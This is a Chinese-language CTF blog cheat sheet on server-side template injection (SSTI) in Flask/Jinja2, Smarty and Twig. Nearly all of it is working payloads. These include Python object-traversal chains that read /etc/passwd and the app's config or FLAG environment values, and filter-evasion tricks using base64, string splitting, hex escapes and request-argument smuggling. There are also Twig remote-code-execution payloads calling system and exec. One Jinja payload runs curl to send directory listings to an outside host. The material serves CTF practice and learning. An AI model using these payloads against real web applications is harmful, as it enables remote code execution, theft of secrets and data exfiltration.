CTF SSTI


CTF SSTI(服务器模板注入)

一丶基本判断


二丶渲染模板(flask/jinja)

flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

dict 保存类实例或对象实例的属性变量键值对字典
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases 返回该对象所继承的基类
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
一些姿势
  • [浅析SSTI(python沙盒绕过)]:

  • config

    {{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

  • self

    {{self\}\} ⇒ <TemplateReference None>
    {{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
  • [] () “”

    主要目的是配合__class__.__mro__[2]这样找到object
    {{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

  • url_for,g,request,namespace,lipsum,range,session,dict,get_flashed_message,config

    如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)

    {{url_for.__globals__['current_app'].config.FLAG}}
    {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
常用绕过
  1. 以下表示法可用于访问对象的属性:

    • request.__class__
    • request["__class__"]
    • request|attr("__class__")
  2. 可以使用以下方法访问数组元素:

    • array[0]
    • array.pop(0)
    • array.__getitem__(2)
  3. 过滤[]和.

    只过滤[]pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    .也被过滤,使用原生JinJa2函数|attr()request.__class__改成request|attr("__class__")

  4. 过滤_

    利用request.args属性

    {{  ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__`

    将其中的request.args改为request.values则利用post的方式进行传参

  5. 关键词过滤

    • base64编码绕过
      __getattribute__使用实例访问属性时,调用该方法

    ​ 例如被过滤掉__class__关键词

    {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
    • 字符串拼接绕过

      {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
      {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
  6. 过滤 { {

    使用{ % if … %}1{ % endif % },例如

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;')%}1{% endif %}

    如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

    {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p'%}1{% endif%}
  7. 引号内十六进制绕过

    {{"".__class__}}
    {{""["\x5f\x5fclass\x5f\x5f"]}}

    _\x5f.\x2E

  8. “ ‘ chr等被过滤,无法引入字符串

    • 直接拼接键名
    dict(buil=aa,tins=dd)|join()
    • 利用stringpoplistslicefirst等过滤器从已有变量里面直接找
    (app.__doc__|list()).pop(102)|string()
    • 构造出%c后,用格式化字符串代替chr
    {%set udl=dict(a=pc,c=c).values()|join %}      # uld=%c
    {%set i1=dict(a=i1,c=udl%(99)).values()|join %}
  9. +被过滤,无法拼接字符串

  • ~
    在jinja中可以拼接字符串
  • 格式化字符串
    同上

三丶Smarty

Smarty SSTI

  1. {php}{/php}

    Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

  2. {literal}

    {literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

    那么对于php5的环境我们就可以使用

  3. {if}

    Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

  4. getStreamVariable

    新版本失效
    {self::getStreamVariable("file:///etc/passwd")}


    四丶twig

    文件读取

    {{'/etc/passwd'|file_excerpt(1,30)}}
    
    {{app.request.files.get(1).__construct('/etc/passwd','')\}\}
    {{app.request.files.get(1).openFile.fread(99)\}\}

    rce

    {{_self.env.registerUndefinedFilterCallback("exec")\}\}\{\{_self.env.getFilter("id")}}
    
    {{['cat /etc/passwd']|filter('system')}}
    
    POST /subscribe?0=cat+/etc/passwd HTTP/1.1
    {{app.request.query.filter(0,0,1024,{'options':'system'})}}


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录